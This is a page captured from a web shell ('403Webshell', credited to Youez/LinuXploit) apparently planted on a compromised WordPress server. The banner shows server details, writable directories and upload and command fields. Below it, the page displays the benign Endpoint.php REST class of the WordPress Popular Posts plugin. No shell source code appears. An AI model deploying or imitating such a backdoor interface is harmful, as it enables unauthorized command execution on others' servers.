403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/wordpress-popular-posts/src/Rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/wordpress-popular-posts/src/Rest/Endpoint.php
<?php
namespace WordPressPopularPosts\Rest;

use WordPressPopularPosts\Translate;

abstract class Endpoint extends \WP_REST_Controller {

    /**
     * Plugin options.
     *
     * @var     array      $config
     * @access  private
     */
    protected $config;

    /**
     * Translate object.
     *
     * @var     \WordPressPopularPosts\Translate    $translate
     * @access  private
     */
    protected $translate;

    /**
     * Initializes class.
     *
     * @param   array
     * @param   \WordPressPopularPosts\Translate
     */
    public function __construct(array $config, Translate $translate)
    {
        $this->config = $config;
        $this->translate = $translate;
    }

    /**
     * Registers the endpoint(s).
     *
     * @since   5.3.0
     */
    abstract public function register();

    /**
     * Sets language/locale.
     *
     * @since   5.3.0
     */
    protected function set_lang(?string $lang)
    {
        // Multilang support
        if ( $lang ) {
            $current_locale = get_locale();
            $locale = null;

            // Polylang support
            if ( function_exists('PLL') ) {
                $lang_object = PLL()->model->get_language($lang);
                $locale = ( $lang_object && isset($lang_object->locale) ) ? $lang_object->locale : null;
            }

            // Reload locale if needed
            if ( $locale && $locale != $current_locale ) {
                $this->translate->set_current_language($lang);
                unload_textdomain('wordpress-popular-posts');
                load_textdomain('wordpress-popular-posts', WP_LANG_DIR . '/plugins/wordpress-popular-posts-' . $locale . '.mo');
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit